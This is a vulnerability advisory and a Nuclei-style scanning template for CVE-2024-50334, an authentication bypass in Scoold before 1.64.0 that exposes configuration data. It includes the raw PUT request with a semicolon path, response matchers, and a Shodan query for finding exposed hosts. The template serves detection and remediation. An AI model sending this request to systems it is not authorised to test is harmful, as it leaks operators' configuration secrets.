Scoold is a Q&A and a knowledge sharing platform for teams. A semicolon path injection vulnerability was found on the /api;/config endpoint. By appending a semicolon in the URL, attackers can bypass authentication and gain unauthorised access to sensitive configuration data. Furthermore, PUT requests on the /api;/config endpoint while setting the Content-Type- application/hocon header allow unauthenticated attackers to file reading via HOCON file inclusion. This allows attackers to retrieve sensitive information such as configuration files from the server, which can be leveraged for further exploitation. The vulnerability has been fixed in Scoold 1.64.0. A workaround would be to disable the Scoold API with scoold.api_enabled = false.
PoC
id: CVE-2024-50334
info:
name: Scoold < 1.64.0 - Authentication Bypass
author: xbow,iamnoooob,pdresearch
severity: medium
description: |
Scoold is a Q&A and a knowledge sharing platform for teams. A semicolon path injection vulnerability was found on the /api;/config endpoint. By appending a semicolon in the URL, attackers can bypass authentication and gain unauthorised access to sensitive configuration data. Furthermore, PUT requests on the /api;/config endpoint while setting the Content-Type- application/hocon header allow unauthenticated attackers to file reading via HOCON file inclusion. This allows attackers to retrieve sensitive information such as configuration files from the server, which can be leveraged for further exploitation. The vulnerability has been fixed in Scoold 1.64.0. A workaround would be to disable the Scoold API with scoold.api_enabled = false.
impact: |
Attackers can bypass authentication and read sensitive configuration data from the Scoold API.
remediation: |
Update Scoold to version 1.64.0 or later, or disable the Scoold API with scoold.api_enabled = false.
reference:
- https://xbow.com/blog/xbow-scoold-vuln/
- https://nvd.nist.gov/vuln/detail/CVE-2024-50334
- https://github.com/Erudika/scoold/releases/tag/1.64.0
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2024-50334
cwe-id: CWE-288
epss-score: 0.01035
epss-percentile: 0.62161
cpe: cpe:2.3:a:erudika:scoold:*:*:*:*:*:*:*:*
metadata:
vendor: erudika
product: scoold
shodan-query: html:"scoold-wrapper"
verified: true
max-request: 1
tags: cve,cve2024,scoold,info-leak,erudika,auth-bypass,vkev,vuln
http:
- raw:
- |
PUT /api;/config HTTP/1.1
Host: {{Hostname}}
Content-Type: application/hocon
matchers:
- type: dsl
dsl:
- 'contains(body, "scoold.app_name")'
- 'contains(content_type,"application/json")'
- 'status_code==200'
condition: and
# digest: 4a0a00473045022100b6642420c94a5c4f087b60a83202df5c5643d1dff6d8ea44b1fc286ecef4ea5a02206e8e5515fc7b24fc380a9bca7d9a1b2335083b09b2f7c03ddaa6306dc56ea4b1:922c64590222798bb761d5b6d8e72950
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